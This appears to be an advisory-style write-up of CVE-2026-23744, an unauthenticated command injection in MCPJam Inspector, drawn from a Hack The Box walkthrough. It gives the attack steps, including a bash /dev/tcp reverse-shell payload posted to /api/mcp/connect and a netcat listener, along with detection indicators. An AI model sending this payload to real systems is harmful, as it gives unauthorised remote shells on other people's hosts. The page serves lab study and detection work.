MCPJam Inspector Unauthenticated Command Injection RCE (CVE-2026-23744)

Metadata

Affected Target

Summary

This repository is a German-language Hack The Box “DevHub” walkthrough that documents a full attack chain, one step of which is a genuine, directly reusable RCE against MCPJam Inspector v1.4.2 (CVE-2026-23744). The vulnerable /api/mcp/connect endpoint accepts a serverConfig object with command/args fields that are executed on the host without validation, letting an unauthenticated attacker POST a JSON body that spawns bash -c '<reverse shell>' and obtain a shell as the mcp-dev service user. The rest of the walkthrough (Chisel tunneling, Jupyter token theft, an internal ops API, and root SSH key exfiltration) is included for context but is specific to the HTB lab environment rather than the CVE itself.

Vulnerability Details

Root Cause

The MCPJam Inspector /api/mcp/connect endpoint executes the attacker-supplied command and args fields from the JSON serverConfig payload without restricting them to legitimate/allow-listed executables, enabling arbitrary command execution.

Attack Vector

1. Identify MCPJam Inspector v1.4.2 exposed on its service port (e.g. 6274).
2. Start a netcat listener on the attacker host.
3. POST a JSON body to /api/mcp/connect with serverConfig.command set to bash and args set to ["-c", "bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1"].
4. The service executes the command, returning a reverse shell as the low-privilege mcp-dev user.
5. (Environment-specific) Further lateral movement/privesc steps in the walkthrough are unrelated to the core CVE.

Impact

Unauthenticated remote code execution on the host running MCPJam Inspector, providing an initial foothold for further compromise.

Environment / Lab Setup

Target:   MCPJam Inspector v1.4.2 (HTB "DevHub" machine, port 6274)
Attacker: curl, netcat listener

Proof of Concept

PoC Script

See poc.sh in this folder. No standalone script file was included in the source repository — the working payload was embedded inline in its README as a curl command; poc.sh reproduces it verbatim as a runnable script.

1
2

nc -lvnp 4444
./poc.sh devhub.htb 10.x.x.x 4444

Running this script against a vulnerable MCPJam Inspector instance POSTs a malicious serverConfig to /api/mcp/connect, triggering a reverse shell connection back to the attacker’s netcat listener as the mcp-dev user.

Detection & Indicators of Compromise

POST /api/mcp/connect HTTP/1.1
{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/..."]}}

Signs of compromise:

• POST requests to /api/mcp/connect containing shell interpreter names (bash, sh) in the command field.
• Reverse-shell network connections (/dev/tcp/...) originating from the MCPJam Inspector process.
• Unexpected child processes spawned by the mcp-dev service account.

Remediation

References

• Source repository

Notes

Mirrored from https://github.com/timgad794/DevHub-HTB-Walkthrough on 2026-07-05.